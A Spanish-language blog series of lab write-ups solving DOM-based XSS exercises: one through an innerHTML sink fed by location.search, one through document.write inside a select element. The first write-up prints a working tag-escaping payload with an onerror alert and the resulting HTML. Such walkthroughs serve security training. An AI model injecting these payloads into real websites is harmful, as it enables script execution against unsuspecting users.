image 41

Esta flag habilita que las cookies solo puedan ser leídas desde el protocolo HTTP y no desde Javascript, es un mecanismo de defensa. Y con esto explicado, ya tendríamos el laboratorio hecho:

image 42

HireHackking

En este post vamos a estar resolviendo el laboratorio: “DOM XSS in innerHTML sink using source location.search”.

image 23

Lo primero de todo como siempre es acceder al laboratorio:

image 24

Una vez accedidos, vemos una barra de búsqueda. Por lo que vamos a buscar cualquier cosa:

image 25
image 26

Si nos fijamos, lo que hemos buscado se ve reflejado en la web. Y si damos click derecho y vemos la parte del código fuente donde se situa, vemos que se almacena en el innerHTML del tag <span>.

Por lo que conociendo esto, podemos intentar usar en la búsqueda un payload especialmente diseñado para escaparnos de este tag, y ejecutar código Javascript. Por ejemplo, usaremos el siguiente payload:

  • </span><img src=/ onerror=alert(1) />//
image 27
image 28

Al buscar por él, podemos ver como se nos ejecuta con éxito el payload. Hemos pasado de:

  • <span id=”searchMessage”>hola</span>

a:

  • <span id=”searchMessage”></span><img src=/ onerror=alert(1) />//</span>

De esta forma, y consiguiendo esta ejecución, conseguimos resolver el laboratorio:

image 29

HireHackking

En este post vamos a estar resolviendo el laboratorio: “DOM XSS in document.write sink using source location.search inside a select element”.

image 101

En este caso, para resolver el reto tenemos que escaparnos del elemento “select” y llamar a la función alert.

Lo primero de todo es acceder al laboratorio:

image 102

Una vez hemos accedido, podemos ver varios productos. Vamos a entrar en uno cualquiera:

image 103

Cuando entramos, podemos observar una función para comprobar el stock en las distintas ciudades:

image 104
image 105
image 106

Si observamos el código fuente de la web, podemos encontrar el siguiente código:

image 107

Analizando un poco el script, básicamente se entiende que además de las tres ciudades por defecto para comprobar el stock, se le puede agregar una más a través de la variable storeId de la URL. Por lo que podemos probar a añadir esa variable y un valor cualquiera:

image 108

Una vez accedemos a la web de nuevo pero con la variable storeId, si nos fijamos en las ciudades:

image 109

Podemos ver como se ha agregado una más, en concreto una con el nombre del valor que le hemos pasado a la variable.

Si nos vamos de nuevo al código fuente, podemos observar como este parámetro se implementa:

image 110

Por lo que, observando esto, podemos intentar poner un valor que ocasione que nos escapemos del propio elemento options, y ejecute un alert:

image 111

Al acceder a la web con este valor en la variable:

image 112

Se nos ejecuta el alert. En el código fuente, podemos observar lo siguiente:

image 113

Y de esta forma, conseguimos resolver el laboratorio:

image 114